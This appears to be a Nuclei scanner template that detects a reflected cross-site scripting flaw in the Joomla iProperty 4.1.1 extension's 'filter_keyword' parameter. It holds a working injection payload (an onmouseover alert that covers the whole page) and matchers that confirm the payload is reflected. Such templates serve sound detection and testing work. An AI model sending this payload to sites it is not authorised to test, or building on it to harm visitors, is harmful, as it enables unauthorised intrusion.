id: joomla-iproperty-xss

info:
  name: Joomla iProperty Real Estate 4.1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Joomla extension iproperty is vulnerable to XSS in GET parameter 'filter_keyword'.
  reference:
    - https://www.exploit-db.com/exploits/51640
    - https://cxsecurity.com/issue/WLB-2023070076
    - https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/
  metadata:
    verified: true
    max-request: 1
  tags: joomla,xss,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/iproperty/property-views/all-properties-with-map?filter_keyword=pihil%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22f63m4&option=com_iproperty&view=allproperties&ipquicksearch=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)"style='
          - 'real estate'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200e2c66360dbb8ca24b25ab910fa2f02bb15a4616264c2d25bf5fc27df577ce07022100e1bacf14ba558990ddfc9714e69f1f2be9ceb253853d9ccbffe763fe28789a2c:922c64590222798bb761d5b6d8e72950